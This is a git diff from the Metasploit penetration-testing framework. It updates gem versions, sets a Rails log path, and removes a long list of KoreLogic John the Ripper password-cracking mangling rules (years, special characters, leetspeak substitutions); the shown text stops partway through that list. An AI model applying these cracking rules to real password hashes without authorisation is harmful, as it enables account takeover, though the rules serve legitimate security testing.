diff --git a/Gemfile.lock b/Gemfile.lock index 200b2961ab..d75506496d 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -9,7 +9,7 @@ PATH json metasploit-concern (~> 0.3.0) metasploit-model (~> 0.28.0) - meterpreter_bins (= 0.0.12) + meterpreter_bins (= 0.0.13) msgpack nokogiri packetfu (= 1.1.9) @@ -22,7 +22,7 @@ PATH tzinfo metasploit-framework-db (4.11.0.pre.dev) activerecord (>= 3.2.21, < 4.0.0) - metasploit-credential (~> 0.13.8) + metasploit-credential (~> 0.13.11) metasploit-framework (= 4.11.0.pre.dev) metasploit_data_models (~> 0.21.3) pg (>= 0.11) @@ -101,7 +101,7 @@ GEM gherkin (2.11.6) json (>= 1.7.6) hike (1.2.3) - i18n (0.6.11) + i18n (0.7.0) journey (1.0.4) jsobfu (0.2.1) rkelly-remix (= 0.0.6) @@ -112,7 +112,7 @@ GEM metasploit-concern (0.3.0) activesupport (~> 3.0, >= 3.0.0) railties (< 4.0.0) - metasploit-credential (0.13.8) + metasploit-credential (0.13.11) metasploit-concern (~> 0.3.0) metasploit-model (~> 0.28.0) metasploit_data_models (~> 0.21.0) @@ -132,10 +132,10 @@ GEM pg railties (< 4.0.0) recog (~> 1.0) - meterpreter_bins (0.0.12) + meterpreter_bins (0.0.13) method_source (0.8.2) mime-types (1.25.1) - mini_portile (0.6.1) + mini_portile (0.6.2) msgpack (0.5.9) multi_json (1.0.4) network_interface (0.0.1) @@ -143,7 +143,7 @@ GEM mini_portile (~> 0.6.0) packetfu (1.1.9) pcaprub (0.11.3) - pg (0.17.1) + pg (0.18.1) polyglot (0.3.5) pry (0.10.0) coderay (~> 1.1.0) @@ -175,7 +175,7 @@ GEM rb-readline (0.5.1) rdoc (3.12.2) json (~> 1.4) - recog (1.0.6) + recog (1.0.7) nokogiri redcarpet (3.1.2) rkelly-remix (0.0.6) diff --git a/config/application.rb b/config/application.rb index f4eaab5417..47b5195903 100644 --- a/config/application.rb +++ b/config/application.rb @@ -34,6 +34,7 @@ module Metasploit class Application < Rails::Application include Metasploit::Framework::CommonEngine + config.paths['log'] = "#{Msf::Config.log_directory}/#{Rails.env}.log" config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)] end end diff --git a/data/john/confs/john.conf b/data/john/confs/john.conf index c6f6979fcf..32964b1622 100755 --- a/data/john/confs/john.conf +++ b/data/john/confs/john.conf @@ -292,2327 +292,6 @@ l Az"19[6-0][9-0]" <+ # Prepend "pass" A0"[pP][aA][sS][sS]" -# [List.Rules:KoreLogicRulesPrependYears] -A0"20[0-1][0-9]" -A0"19[3-9][0-9]" - -# Notice: Your wordlist should likely be all lowercase - or you are wasting work -# [List.Rules:KoreLogicRulesAppendYears] -cAz"19[0-9][0-9]" -Az"19[0-9][0-9]" -cAz"20[01][0-9]" -Az"20[01][0-9]" - - -# [List.Rules:KoreLogicRulesPrependAndAppendSpecial] -cA0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]" -A0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]" - - -# [List.Rules:KoreLogicRulesAdd1234_Everywhere] -Az"1234" ->0A[0]"1234" ->1A[1]"1234" ->2A[2]"1234" ->3A[3]"1234" ->4A[4]"1234" ->5A[5]"1234" ->6A[6]"1234" ->7A[7]"1234" ->8A[8]"1234" ->9A[9]"1234" - -# [List.Rules:KoreLogicRulesAdd123_Everywhere] -Az"123" ->0A[0]"123" ->1A[1]"123" ->2A[2]"123" ->3A[3]"123" ->4A[4]"123" ->5A[5]"123" ->6A[6]"123" ->7A[7]"123" ->8A[8]"123" ->9A[9]"123" - -Az".com" -cAz".com" -Az".net" -cAz".net" -Az".org" -cAz".org" - -# [List.Rules:KoreLogicRulesReplaceNumbers2Special] -/1s1! -/2s2@ -/3s3# -/4s4$ -/5s5% -/6s6^ -/7s7& -/8s8* -/9s9( -/0s0) -/1s1!%12s2@ -/1s1!%13s3# -/1s1!%14s4$ -/1s1!%15s5% -/1s1!%16s6^ -/1s1!%17s7& -/1s1!%18s8* -/1s1!%19s9( -/1s1!%10s0) -/2s2@%13s3# -/2s2@%14s4$ -/2s2@%15s5% -/2s2@%16s6^ -/2s2@%17s7& -/2s2@%18s8* -/2s2@%19s9( -/2s2@%10s0) -/3s3#%14s4$ -/3s3#%15s5% -/3s3#%16s6^ -/3s3#%17s7& -/3s3#%18s8* -/3s3#%19s9( -/3s3#%10s0) -/4s4$%15s5% -/4s4$%16s6^ -/4s4$%17s7& -/4s4$%18s8* -/4s4$%19s9( -/4s4$%10s0) -/5s5%%16s6^ -/5s5%%17s7& -/5s5%%18s8* -/5s5%%19s9( -/5s5%%10s0) -/6s6^%17s7& -/6s6^%18s8* -/6s6^%19s9( -/6s6^%10s0) -/7s7&%18s8* -/7s7&%19s9( -/7s7&%10s0) -/8s8*%19s9( -/8s8*%10s0) -/9s9(%10s0) - - -# [List.Rules:KoreLogicRulesReplaceNumbers] -/0s01 -/0s02 -/0s03 -/0s04 -/0s05 -/0s06 -/0s07 -/0s08 -/0s09 -/1s10 -/1s12 -/1s13 -/1s14 -/1s15 -/1s16 -/1s17 -/1s18 -/1s19 -/2s20 -/2s21 -/2s23 -/2s24 -/2s25 -/2s26 -/2s27 -/2s28 -/2s29 -/3s30 -/3s31 -/3s32 -/3s34 -/3s35 -/3s36 -/3s37 -/3s38 -/3s39 -/4s40 -/4s41 -/4s42 -/4s43 -/4s45 -/4s46 -/4s47 -/4s48 -/4s49 -/5s50 -/5s51 -/5s52 -/5s53 -/5s54 -/5s56 -/5s57 -/5s58 -/5s59 -/6s60 -/6s61 -/6s62 -/6s63 -/6s64 -/6s65 -/6s67 -/6s68 -/6s69 -/7s70 -/7s71 -/7s72 -/7s73 -/7s74 -/7s75 -/7s76 -/7s78 -/7s79 -/8s80 -/8s81 -/8s82 -/8s83 -/8s84 -/8s85 -/8s86 -/8s87 -/8s89 -/9s90 -/9s91 -/9s92 -/9s93 -/9s94 -/9s95 -/9s96 -/9s97 -/9s98 - -# [List.Rules:KoreLogicRulesPrependJustSpecials] -cA0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]" -A0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]" -cA0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*][!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]" -A0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*][!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]" - -# [List.Rules:KoreLogicRulesAppend1_AddSpecialEverywhere] ->4cA[0-5]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" ->5cA[6]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" ->6cA[7]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" ->7cA[8]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" ->8cA[9]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" ->4A[0-5]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" ->5A[6]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" ->6A[7]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" ->7A[8]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" ->8A[9]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" - - -A0"[dD]ev" -Az"[dD]ev" -A0"[uU]at" -Az"[uU]at" -A0"[pP]rod" -Az"[pP]rod" -A0"[tT]est" -Az"[tT]est" - - - -/asa@[:c] -/asa4[:c] -/AsA4[:c] -/AsA@[:c] -/bsb8[:c] -/BsB8[:c] -/ese3[:c] -/EsE3[:c] -/isi1[:c] -/isi![:c] -/isi|[:c] -/IsI1[:c] -/IsI![:c] -/IsI|[:c] -/lsl1[:c] -/lsl7[:c] -/lsl|[:c] -/lsl![:c] -/Lsl1[:c] -/Lsl7[:c] -/Lsl|[:c] -/Lsl![:c] -/oso0[:c] -/OsO0[:c] -/sss$[:c] -/sss5[:c] -/SsS$[:c] -/SsS5[:c] -/tst+[:c] -/TsT+[:c] -/1s1![:c] -/1s1i[:c] -/1s1I[:c] -/1s1|[:c] -/0s0o[:c] -/0s0O[:c] -/3s3e[:c] -/3s3E[:c] -/4s4a[:c] -/4s4A[:c] -/5s5s[:c] -/5s5S[:c] -/7s7l[:c] -/7s7L[:c] -/8s8b[:c] -/8s8B[:c] -/asa@/bsb8[:c] -/asa@/BsB8[:c] -/asa@/ese3[:c] -/asa@/EsE3[:c] -/asa@/isi1[:c] -/asa@/isi![:c] -/asa@/isi|[:c] -/asa@/IsI1[:c] -/asa@/IsI![:c] -/asa@/IsI|[:c] -/asa@/lsl1[:c] -/asa@/lsl7[:c] -/asa@/lsl|[:c] -/asa@/lsl![:c] -/asa@/Lsl1[:c] -/asa@/Lsl7[:c] -/asa@/Lsl|[:c] -/asa@/Lsl![:c] -/asa@/oso0[:c] -/asa@/OsO0[:c] -/asa@/sss$[:c] -/asa@/sss5[:c] -/asa@/SsS$[:c] -/asa@/SsS5[:c] -/asa@/tst+[:c] -/asa@/TsT+[:c] -/asa@/1s1![:c] -/asa@/1s1i[:c] -/asa@/1s1I[:c] -/asa@/1s1|[:c] -/asa@/0s0o[:c] -/asa@/0s0O[:c] -/asa@/3s3e[:c] -/asa@/3s3E[:c] -/asa@/4s4a[:c] -/asa@/4s4A[:c] -/asa@/5s5s[:c] -/asa@/5s5S[:c] -/asa@/7s7l[:c] -/asa@/7s7L[:c] -/asa@/8s8b[:c] -/asa@/8s8B[:c] -/asa4/AsA4[:c] -/asa4/AsA@[:c] -/asa4/bsb8[:c] -/asa4/BsB8[:c] -/asa4/ese3[:c] -/asa4/EsE3[:c] -/asa4/isi1[:c] -/asa4/isi![:c] -/asa4/isi|[:c] -/asa4/IsI1[:c] -/asa4/IsI![:c] -/asa4/IsI|[:c] -/asa4/lsl1[:c] -/asa4/lsl7[:c] -/asa4/lsl|[:c] -/asa4/lsl![:c] -/asa4/Lsl1[:c] -/asa4/Lsl7[:c] -/asa4/Lsl|[:c] -/asa4/Lsl![:c] -/asa4/oso0[:c] -/asa4/OsO0[:c] -/asa4/sss$[:c] -/asa4/sss5[:c] -/asa4/SsS$[:c] -/asa4/SsS5[:c] -/asa4/tst+[:c] -/asa4/TsT+[:c] -/asa4/1s1![:c] -/asa4/1s1i[:c] -/asa4/1s1I[:c] -/asa4/1s1|[:c] -/asa4/0s0o[:c] -/asa4/0s0O[:c] -/asa4/3s3e[:c] -/asa4/3s3E[:c] -/asa4/4s4a[:c] -/asa4/4s4A[:c] -/asa4/5s5s[:c] -/asa4/5s5S[:c] -/asa4/7s7l[:c] -/asa4/7s7L[:c] -/asa4/8s8b[:c] -/asa4/8s8B[:c] -/AsA4/asa@[:c] -/AsA4/asa4[:c] -/AsA4/BsB8[:c] -/AsA4/ese3[:c] -/AsA4/EsE3[:c] -/AsA4/isi1[:c] -/AsA4/isi![:c] -/AsA4/isi|[:c] -/AsA4/IsI1[:c] -/AsA4/IsI![:c] -/AsA4/IsI|[:c] -/AsA4/lsl1[:c] -/AsA4/lsl7[:c] -/AsA4/lsl|[:c] -/AsA4/lsl![:c] -/AsA4/Lsl1[:c] -/AsA4/Lsl7[:c] -/AsA4/Lsl|[:c] -/AsA4/Lsl![:c] -/AsA4/oso0[:c] -/AsA4/OsO0[:c] -/AsA4/sss$[:c] -/AsA4/sss5[:c] -/AsA4/SsS$[:c] -/AsA4/SsS5[:c] -/AsA4/tst+[:c] -/AsA4/TsT+[:c] -/AsA4/1s1![:c] -/AsA4/1s1i[:c] -/AsA4/1s1I[:c] -/AsA4/1s1|[:c] -/AsA4/0s0o[:c] -/AsA4/0s0O[:c] -/AsA4/3s3e[:c] -/AsA4/3s3E[:c] -/AsA4/4s4a[:c] -/AsA4/4s4A[:c] -/AsA4/5s5s[:c] -/AsA4/5s5S[:c] -/AsA4/7s7l[:c] -/AsA4/7s7L[:c] -/AsA4/8s8b[:c] -/AsA4/8s8B[:c] -/AsA@/asa@[:c] -/AsA@/asa4[:c] -/AsA@/bsb8[:c] -/AsA@/BsB8[:c] -/AsA@/ese3[:c] -/AsA@/EsE3[:c] -/AsA@/isi1[:c] -/AsA@/isi![:c] -/AsA@/isi|[:c] -/AsA@/IsI1[:c] -/AsA@/IsI![:c] -/AsA@/IsI|[:c] -/AsA@/lsl1[:c] -/AsA@/lsl7[:c] -/AsA@/lsl|[:c] -/AsA@/lsl![:c] -/AsA@/Lsl1[:c] -/AsA@/Lsl7[:c] -/AsA@/Lsl|[:c] -/AsA@/Lsl![:c] -/AsA@/oso0[:c] -/AsA@/OsO0[:c] -/AsA@/sss$[:c] -/AsA@/sss5[:c] -/AsA@/SsS$[:c] -/AsA@/SsS5[:c] -/AsA@/tst+[:c] -/AsA@/TsT+[:c] -/AsA@/1s1![:c] -/AsA@/1s1i[:c] -/AsA@/1s1I[:c] -/AsA@/1s1|[:c] -/AsA@/0s0o[:c] -/AsA@/0s0O[:c] -/AsA@/3s3e[:c] -/AsA@/3s3E[:c] -/AsA@/4s4a[:c] -/AsA@/4s4A[:c] -/AsA@/5s5s[:c] -/AsA@/5s5S[:c] -/AsA@/7s7l[:c] -/AsA@/7s7L[:c] -/AsA@/8s8b[:c] -/AsA@/8s8B[:c] -/bsb8/asa@[:c] -/bsb8/asa4[:c] -/bsb8/AsA4[:c] -/bsb8/AsA@[:c] -/bsb8/BsB8[:c] -/bsb8/ese3[:c] -/bsb8/EsE3[:c] -/bsb8/isi1[:c] -/bsb8/isi![:c] -/bsb8/isi|[:c] -/bsb8/IsI1[:c] -/bsb8/IsI![:c] -/bsb8/IsI|[:c] -/bsb8/lsl1[:c] -/bsb8/lsl7[:c] -/bsb8/lsl|[:c] -/bsb8/lsl![:c] -/bsb8/Lsl1[:c] -/bsb8/Lsl7[:c] -/bsb8/Lsl|[:c] -/bsb8/Lsl![:c] -/bsb8/oso0[:c] -/bsb8/OsO0[:c] -/bsb8/sss$[:c] -/bsb8/sss5[:c] -/bsb8/SsS$[:c] -/bsb8/SsS5[:c] -/bsb8/tst+[:c] -/bsb8/TsT+[:c] -/bsb8/1s1![:c] -/bsb8/1s1i[:c] -/bsb8/1s1I[:c] -/bsb8/1s1|[:c] -/bsb8/0s0o[:c] -/bsb8/0s0O[:c] -/bsb8/3s3e[:c] -/bsb8/3s3E[:c] -/bsb8/4s4a[:c] -/bsb8/4s4A[:c] -/bsb8/5s5s[:c] -/bsb8/5s5S[:c] -/bsb8/7s7l[:c] -/bsb8/7s7L[:c] -/bsb8/8s8b[:c] -/bsb8/8s8B[:c] -/BsB8/asa@[:c] -/BsB8/asa4[:c] -/BsB8/AsA4[:c] -/BsB8/AsA@[:c] -/BsB8/bsb8[:c] -/BsB8/ese3[:c] -/BsB8/EsE3[:c] -/BsB8/isi1[:c] -/BsB8/isi![:c] -/BsB8/isi|[:c] -/BsB8/IsI1[:c] -/BsB8/IsI![:c] -/BsB8/IsI|[:c] -/BsB8/lsl1[:c] -/BsB8/lsl7[:c] -/BsB8/lsl|[:c] -/BsB8/lsl![:c] -/BsB8/Lsl1[:c] -/BsB8/Lsl7[:c] -/BsB8/Lsl|[:c] -/BsB8/Lsl![:c] -/BsB8/oso0[:c] -/BsB8/OsO0[:c] -/BsB8/sss$[:c] -/BsB8/sss5[:c] -/BsB8/SsS$[:c] -/BsB8/SsS5[:c] -/BsB8/tst+[:c] -/BsB8/TsT+[:c] -/BsB8/1s1![:c] -/BsB8/1s1i[:c] -/BsB8/1s1I[:c] -/BsB8/1s1|[:c] -/BsB8/0s0o[:c] -/BsB8/0s0O[:c] -/BsB8/3s3e[:c] -/BsB8/3s3E[:c] -/BsB8/4s4a[:c] -/BsB8/4s4A[:c] -/BsB8/5s5s[:c] -/BsB8/5s5S[:c] -/BsB8/7s7l[:c] -/BsB8/7s7L[:c] -/BsB8/8s8b[:c] -/BsB8/8s8B[:c] -/ese3/asa@[:c] -/ese3/asa4[:c] -/ese3/AsA4[:c] -/ese3/AsA@[:c] -/ese3/bsb8[:c] -/ese3/BsB8[:c] -/ese3/EsE3[:c] -/ese3/isi1[:c] -/ese3/isi![:c] -/ese3/isi|[:c] -/ese3/IsI1[:c] -/ese3/IsI![:c] -/ese3/IsI|[:c] -/ese3/lsl1[:c] -/ese3/lsl7[:c] -/ese3/lsl|[:c] -/ese3/lsl![:c] -/ese3/Lsl1[:c] -/ese3/Lsl7[:c] -/ese3/Lsl|[:c] -/ese3/Lsl![:c] -/ese3/oso0[:c] -/ese3/OsO0[:c] -/ese3/sss$[:c] -/ese3/sss5[:c] -/ese3/SsS$[:c] -/ese3/SsS5[:c] -/ese3/tst+[:c] -/ese3/TsT+[:c] -/ese3/1s1![:c] -/ese3/1s1i[:c] -/ese3/1s1I[:c] -/ese3/1s1|[:c] -/ese3/0s0o[:c] -/ese3/0s0O[:c] -/ese3/3s3e[:c] -/ese3/3s3E[:c] -/ese3/4s4a[:c] -/ese3/4s4A[:c] -/ese3/5s5s[:c] -/ese3/5s5S[:c] -/ese3/7s7l[:c] -/ese3/7s7L[:c] -/ese3/8s8b[:c] -/ese3/8s8B[:c] -/EsE3/asa@[:c] -/EsE3/asa4[:c] -/EsE3/AsA4[:c] -/EsE3/AsA@[:c] -/EsE3/bsb8[:c] -/EsE3/BsB8[:c] -/EsE3/ese3[:c] -/EsE3/isi1[:c] -/EsE3/isi![:c] -/EsE3/isi|[:c] -/EsE3/IsI1[:c] -/EsE3/IsI![:c] -/EsE3/IsI|[:c] -/EsE3/lsl1[:c] -/EsE3/lsl7[:c] -/EsE3/lsl|[:c] -/EsE3/lsl![:c] -/EsE3/Lsl1[:c] -/EsE3/Lsl7[:c] -/EsE3/Lsl|[:c] -/EsE3/Lsl![:c] -/EsE3/oso0[:c] -/EsE3/OsO0[:c] -/EsE3/sss$[:c] -/EsE3/sss5[:c] -/EsE3/SsS$[:c] -/EsE3/SsS5[:c] -/EsE3/tst+[:c] -/EsE3/TsT+[:c] -/EsE3/1s1![:c] -/EsE3/1s1i[:c] -/EsE3/1s1I[:c] -/EsE3/1s1|[:c] -/EsE3/0s0o[:c] -/EsE3/0s0O[:c] -/EsE3/3s3e[:c] -/EsE3/3s3E[:c] -/EsE3/4s4a[:c] -/EsE3/4s4A[:c] -/EsE3/5s5s[:c] -/EsE3/5s5S[:c] -/EsE3/7s7l[:c] -/EsE3/7s7L[:c] -/EsE3/8s8b[:c] -/EsE3/8s8B[:c] -/isi1/asa@[:c] -/isi1/asa4[:c] -/isi1/AsA4[:c] -/isi1/AsA@[:c] -/isi1/bsb8[:c] -/isi1/BsB8[:c] -/isi1/ese3[:c] -/isi1/EsE3[:c] -/isi1/IsI1[:c] -/isi1/IsI![:c] -/isi1/IsI|[:c] -/isi1/lsl1[:c] -/isi1/lsl7[:c] -/isi1/lsl|[:c] -/isi1/lsl![:c] -/isi1/Lsl1[:c] -/isi1/Lsl7[:c] -/isi1/Lsl|[:c] -/isi1/Lsl![:c] -/isi1/oso0[:c] -/isi1/OsO0[:c] -/isi1/sss$[:c] -/isi1/sss5[:c] -/isi1/SsS$[:c] -/isi1/SsS5[:c] -/isi1/tst+[:c] -/isi1/TsT+[:c] -/isi1/1s1![:c] -/isi1/1s1i[:c] -/isi1/1s1I[:c] -/isi1/1s1|[:c] -/isi1/0s0o[:c] -/isi1/0s0O[:c] -/isi1/3s3e[:c] -/isi1/3s3E[:c] -/isi1/4s4a[:c] -/isi1/4s4A[:c] -/isi1/5s5s[:c] -/isi1/5s5S[:c] -/isi1/7s7l[:c] -/isi1/7s7L[:c] -/isi1/8s8b[:c] -/isi1/8s8B[:c] -/isi!/asa@[:c] -/isi!/asa4[:c] -/isi!/AsA4[:c] -/isi!/AsA@[:c] -/isi!/bsb8[:c] -/isi!/BsB8[:c] -/isi!/ese3[:c] -/isi!/EsE3[:c] -/isi!/isi1[:c] -/isi!/isi|[:c] -/isi!/IsI1[:c] -/isi!/IsI![:c] -/isi!/IsI|[:c] -/isi!/lsl1[:c] -/isi!/lsl7[:c] -/isi!/lsl|[:c] -/isi!/lsl![:c] -/isi!/Lsl1[:c] -/isi!/Lsl7[:c] -/isi!/Lsl|[:c] -/isi!/Lsl![:c] -/isi!/oso0[:c] -/isi!/OsO0[:c] -/isi!/sss$[:c] -/isi!/sss5[:c] -/isi!/SsS$[:c] -/isi!/SsS5[:c] -/isi!/tst+[:c] -/isi!/TsT+[:c] -/isi!/1s1![:c] -/isi!/1s1i[:c] -/isi!/1s1I[:c] -/isi!/1s1|[:c] -/isi!/0s0o[:c] -/isi!/0s0O[:c] -/isi!/3s3e[:c] -/isi!/3s3E[:c] -/isi!/4s4a[:c] -/isi!/4s4A[:c] -/isi!/5s5s[:c] -/isi!/5s5S[:c] -/isi!/7s7l[:c] -/isi!/7s7L[:c] -/isi!/8s8b[:c] -/isi!/8s8B[:c] -/isi|/asa@[:c] -/isi|/asa4[:c] -/isi|/AsA4[:c] -/isi|/AsA@[:c] -/isi|/bsb8[:c] -/isi|/BsB8[:c] -/isi|/ese3[:c] -/isi|/EsE3[:c] -/isi|/isi1[:c] -/isi|/isi![:c] -/isi|/IsI1[:c] -/isi|/IsI![:c] -/isi|/IsI|[:c] -/isi|/lsl1[:c] -/isi|/lsl7[:c] -/isi|/lsl|[:c] -/isi|/lsl![:c] -/isi|/Lsl1[:c] -/isi|/Lsl7[:c] -/isi|/Lsl|[:c] -/isi|/Lsl![:c] -/isi|/oso0[:c] -/isi|/OsO0[:c] -/isi|/sss$[:c] -/isi|/sss5[:c] -/isi|/SsS$[:c] -/isi|/SsS5[:c] -/isi|/tst+[:c] -/isi|/TsT+[:c] -/isi|/1s1![:c] -/isi|/1s1i[:c] -/isi|/1s1I[:c] -/isi|/1s1|[:c] -/isi|/0s0o[:c] -/isi|/0s0O[:c] -/isi|/3s3e[:c] -/isi|/3s3E[:c] -/isi|/4s4a[:c] -/isi|/4s4A[:c] -/isi|/5s5s[:c] -/isi|/5s5S[:c] -/isi|/7s7l[:c] -/isi|/7s7L[:c] -/isi|/8s8b[:c] -/isi|/8s8B[:c] -/IsI1/asa@[:c] -/IsI1/asa4[:c] -/IsI1/AsA4[:c] -/IsI1/AsA@[:c] -/IsI1/bsb8[:c] -/IsI1/BsB8[:c] -/IsI1/ese3[:c] -/IsI1/EsE3[:c] -/IsI1/isi1[:c] -/IsI1/isi![:c] -/IsI1/isi|[:c] -/IsI1/lsl1[:c] -/IsI1/lsl7[:c] -/IsI1/lsl|[:c] -/IsI1/lsl![:c] -/IsI1/Lsl1[:c] -/IsI1/Lsl7[:c] -/IsI1/Lsl|[:c] -/IsI1/Lsl![:c] -/IsI1/oso0[:c] -/IsI1/OsO0[:c] -/IsI1/sss$[:c] -/IsI1/sss5[:c] -/IsI1/SsS$[:c] -/IsI1/SsS5[:c] -/IsI1/tst+[:c] -/IsI1/TsT+[:c] -/IsI1/1s1![:c] -/IsI1/1s1i[:c] -/IsI1/1s1I[:c] -/IsI1/1s1|[:c] -/IsI1/0s0o[:c] -/IsI1/0s0O[:c] -/IsI1/3s3e[:c] -/IsI1/3s3E[:c] -/IsI1/4s4a[:c] -/IsI1/4s4A[:c] -/IsI1/5s5s[:c] -/IsI1/5s5S[:c] -/IsI1/7s7l[:c] -/IsI1/7s7L[:c] -/IsI1/8s8b[:c] -/IsI1/8s8B[:c] -/IsI!/asa@[:c] -/IsI!/asa4[:c] -/IsI!/AsA4[:c] -/IsI!/AsA@[:c] -/IsI!/bsb8[:c] -/IsI!/BsB8[:c] -/IsI!/ese3[:c] -/IsI!/EsE3[:c] -/IsI!/isi1[:c] -/IsI!/isi![:c] -/IsI!/isi|[:c] -/IsI!/IsI1[:c] -/IsI!/IsI|[:c] -/IsI!/lsl1[:c] -/IsI!/lsl7[:c] -/IsI!/lsl|[:c] -/IsI!/lsl![:c] -/IsI!/Lsl1[:c] -/IsI!/Lsl7[:c] -/IsI!/Lsl|[:c] -/IsI!/Lsl![:c] -/IsI!/oso0[:c] -/IsI!/OsO0[:c] -/IsI!/sss$[:c] -/IsI!/sss5[:c] -/IsI!/SsS$[:c] -/IsI!/SsS5[:c] -/IsI!/tst+[:c] -/IsI!/TsT+[:c] -/IsI!/1s1![:c] -/IsI!/1s1i[:c] -/IsI!/1s1I[:c] -/IsI!/1s1|[:c] -/IsI!/0s0o[:c] -/IsI!/0s0O[:c] -/IsI!/3s3e[:c] -/IsI!/3s3E[:c] -/IsI!/4s4a[:c] -/IsI!/4s4A[:c] -/IsI!/5s5s[:c] -/IsI!/5s5S[:c] -/IsI!/7s7l[:c] -/IsI!/7s7L[:c] -/IsI!/8s8b[:c] -/IsI!/8s8B[:c] -/IsI|/asa@[:c] -/IsI|/asa4[:c] -/IsI|/AsA4[:c] -/IsI|/AsA@[:c] -/IsI|/bsb8[:c] -/IsI|/BsB8[:c] -/IsI|/ese3[:c] -/IsI|/EsE3[:c] -/IsI|/isi1[:c] -/IsI|/isi![:c] -/IsI|/isi|[:c] -/IsI|/IsI1[:c] -/IsI|/IsI![:c] -/IsI|/lsl1[:c] -/IsI|/lsl7[:c] -/IsI|/lsl|[:c] -/IsI|/lsl![:c] -/IsI|/Lsl1[:c] -/IsI|/Lsl7[:c] -/IsI|/Lsl|[:c] -/IsI|/Lsl![:c] -/IsI|/oso0[:c] -/IsI|/OsO0[:c] -/IsI|/sss$[:c] -/IsI|/sss5[:c] -/IsI|/SsS$[:c] -/IsI|/SsS5[:c] -/IsI|/tst+[:c] -/IsI|/TsT+[:c] -/IsI|/1s1![:c] -/IsI|/1s1i[:c] -/IsI|/1s1I[:c] -/IsI|/1s1|[:c] -/IsI|/0s0o[:c] -/IsI|/0s0O[:c] -/IsI|/3s3e[:c] -/IsI|/3s3E[:c] -/IsI|/4s4a[:c] -/IsI|/4s4A[:c] -/IsI|/5s5s[:c] -/IsI|/5s5S[:c] -/IsI|/7s7l[:c] -/IsI|/7s7L[:c] -/IsI|/8s8b[:c] -/IsI|/8s8B[:c] -/lsl1/asa@[:c] -/lsl1/asa4[:c] -/lsl1/AsA4[:c] -/lsl1/AsA@[:c] -/lsl1/bsb8[:c] -/lsl1/BsB8[:c] -/lsl1/ese3[:c] -/lsl1/EsE3[:c] -/lsl1/isi1[:c] -/lsl1/isi![:c] -/lsl1/isi|[:c] -/lsl1/IsI1[:c] -/lsl1/IsI![:c] -/lsl1/IsI|[:c] -/lsl1/Lsl1[:c] -/lsl1/Lsl7[:c] -/lsl1/Lsl|[:c] -/lsl1/Lsl![:c] -/lsl1/oso0[:c] -/lsl1/OsO0[:c] -/lsl1/sss$[:c] -/lsl1/sss5[:c] -/lsl1/SsS$[:c] -/lsl1/SsS5[:c] -/lsl1/tst+[:c] -/lsl1/TsT+[:c] -/lsl1/1s1![:c] -/lsl1/1s1i[:c] -/lsl1/1s1I[:c] -/lsl1/1s1|[:c] -/lsl1/0s0o[:c] -/lsl1/0s0O[:c] -/lsl1/3s3e[:c] -/lsl1/3s3E[:c] -/lsl1/4s4a[:c] -/lsl1/4s4A[:c] -/lsl1/5s5s[:c] -/lsl1/5s5S[:c] -/lsl1/7s7l[:c] -/lsl1/7s7L[:c] -/lsl1/8s8b[:c] -/lsl1/8s8B[:c] -/lsl7/asa@[:c] -/lsl7/asa4[:c] -/lsl7/AsA4[:c] -/lsl7/AsA@[:c] -/lsl7/bsb8[:c] -/lsl7/BsB8[:c] -/lsl7/ese3[:c] -/lsl7/EsE3[:c] -/lsl7/isi1[:c] -/lsl7/isi![:c] -/lsl7/isi|[:c] -/lsl7/IsI1[:c] -/lsl7/IsI![:c] -/lsl7/IsI|[:c] -/lsl7/lsl1[:c] -/lsl7/lsl|[:c] -/lsl7/lsl![:c] -/lsl7/Lsl1[:c] -/lsl7/Lsl7[:c] -/lsl7/Lsl|[:c] -/lsl7/Lsl![:c] -/lsl7/oso0[:c] -/lsl7/OsO0[:c] -/lsl7/sss$[:c] -/lsl7/sss5[:c] -/lsl7/SsS$[:c] -/lsl7/SsS5[:c] -/lsl7/tst+[:c] -/lsl7/TsT+[:c] -/lsl7/1s1![:c] -/lsl7/1s1i[:c] -/lsl7/1s1I[:c] -/lsl7/1s1|[:c] -/lsl7/0s0o[:c] -/lsl7/0s0O[:c] -/lsl7/3s3e[:c] -/lsl7/3s3E[:c] -/lsl7/4s4a[:c] -/lsl7/4s4A[:c] -/lsl7/5s5s[:c] -/lsl7/5s5S[:c] -/lsl7/7s7l[:c] -/lsl7/7s7L[:c] -/lsl7/8s8b[:c] -/lsl7/8s8B[:c] -/lsl|/asa@[:c] -/lsl|/asa4[:c] -/lsl|/AsA4[:c] -/lsl|/AsA@[:c] -/lsl|/bsb8[:c] -/lsl|/BsB8[:c] -/lsl|/ese3[:c] -/lsl|/EsE3[:c] -/lsl|/isi1[:c] -/lsl|/isi![:c] -/lsl|/isi|[:c] -/lsl|/IsI1[:c] -/lsl|/IsI![:c] -/lsl|/IsI|[:c] -/lsl|/lsl1[:c] -/lsl|/lsl7[:c] -/lsl|/lsl![:c] -/lsl|/Lsl1[:c] -/lsl|/Lsl7[:c] -/lsl|/Lsl|[:c] -/lsl|/Lsl![:c] -/lsl|/oso0[:c] -/lsl|/OsO0[:c] 